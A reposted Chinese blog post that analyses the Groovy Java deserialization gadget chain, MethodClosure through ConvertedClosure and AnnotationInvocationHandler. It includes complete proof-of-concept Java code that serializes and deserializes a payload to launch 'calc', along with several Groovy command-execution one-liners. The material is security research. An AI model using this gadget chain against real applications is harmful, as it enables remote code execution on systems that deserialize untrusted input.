Groovy反序列化链分析

这篇具有很好参考价值的文章主要介绍了Groovy反序列化链分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all

环境搭建

<dependency>
	<groupId>org.codehaus.groovy</groupId>
	<artifactId>groovy-all</artifactId>
	<version>2.4.3</version>
</dependency>

Groovy命令执行

MethodClosure

package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class methodClosure {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
        m.setAccessible(true);
        m.invoke(mc, "calc");
    }
}

很朴素,一眼看出漏洞点在doCall方法,调试一波
Groovy反序列化链分析
invokeMethod顾名思义就是执行方法的,调试进去看也确实如此,看getOwner是获取到this.owner,看构造方法,owner是一个对象
Groovy反序列化链分析
owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,这样就实现了任意类方法调用
Groovy反序列化链分析

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令ls
注意这里,创建一个Groovy类文件,不是创建java类文件了

package org.example

class stringExecute {
    static void main(String[] args){
        println("calc".execute().text);
    }
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

ConvertedClosure

ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler
Groovy反序列化链分析
ConversionHandler又继承了InvocationHandler
Groovy反序列化链分析
因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandlerinvoke是一个意思,代理的具体逻辑。如果初始化时指定的methodinvokeCustom指定的method参数相同,则invokeCustom方法将会调用代理对象 Closurecall方法执行传入参数执行

Groovy反序列化构造

说到动态代理就得想到CC1

package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;

public class convertedClosure {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
        //封装我们需要执行的对象
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // 创建 ConvertedClosure 的动态代理类实例
        Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
            outputStream.writeObject(invocationHandler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
            inputStream.readObject();
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

调用链

AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
        ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
		        MethodClosure.call()
                    ProcessGroovyMethods.execute()

流程分析

调用entrySet
Groovy反序列化链分析
触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom
Groovy反序列化链分析
最后调用call方法rce
Groovy反序列化链分析Groovy反序列化链分析文章来源地址https://www.toymoban.com/news/detail-850181.html

到了这里,关于Groovy反序列化链分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • FastJson反序列化分析

    前言:网上关于FastJson的分析文章一大片,本文只是笔者在实践操作中理解的一些东西,不算特别详细,留作日后复习,欢迎一起交流 什么是FastJson? Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。 先来看看一

    2024年02月06日
    浏览(46)
  • Hessian反序列化分析

    RPC全称为 Remote Procedure Call Protocol (远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便 RPC协议的一次远程通信过程如下: 客户端发起请求,并按照RPC协议格式填充信

    2024年04月11日
    浏览(56)
  • Shiro反序列化分析

    Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带 Commoncollections 的,除此之外还带了一个包叫做 CommonBeanUtils ,主要利用类就在这个包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 编辑shiro/s

    2024年03月24日
    浏览(44)
  • JDBC反序列化分析

    找两个序列化后的bin文件,进行对比,可以发现前两个字节是固定的 AC , ED ,变十进制就是 -84 , -19 记住这两个数,后面分析的时候会用到 触发点在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在触发readObject之前还对data的前两个字节进行了比较来判断是不是序列化对象,

    2024年04月08日
    浏览(63)
  • RMI反序列化分析

    RMI全程Remote Method Invocation (远程方法引用),RMI有客户端和服务端,还有一个注册中心,在java中客户端可以通过RMI调用服务端的方法,流程图如下: 服务端创建RMI后会在RMI Registry(注册中心)注册,之后客户端都是从注册中心调用方法,RMI分为三个主体部分: Client-客户端

    2024年03月26日
    浏览(36)
  • SnakeYaml反序列化分析

    SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。 SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去

    2024年04月22日
    浏览(36)
  • Kryo反序列化链分析

    Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。 Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因

    2024年04月14日
    浏览(30)
  • Resin反序列化链分析

    Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系 因为是JDNI,所以还是得注意下jdk版本,这里用jdk8u65 之前研究过Hessian反序列化

    2024年04月24日
    浏览(31)
  • Rome反序列化链分析

    先看看调用栈: 先给出poc,然后一步步调试分析 在readObject处打个断点开始调试 进入HashMap的readObject 跟进hash方法 跟进hashCode方法 来到ObjectBean的hashCode方法, _equalsBean 是EqualsBean的实例对象,跟进它的beanHashCode方法 _obj 是ToStringBean的实例对象,跟进它的toString方法 进入另一个

    2024年04月09日
    浏览(98)
  • XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记,从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种,代理类为委托类提供消息预处理、消息转发、事后消息处理等功能,JAVA中代理分为三种角色:代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包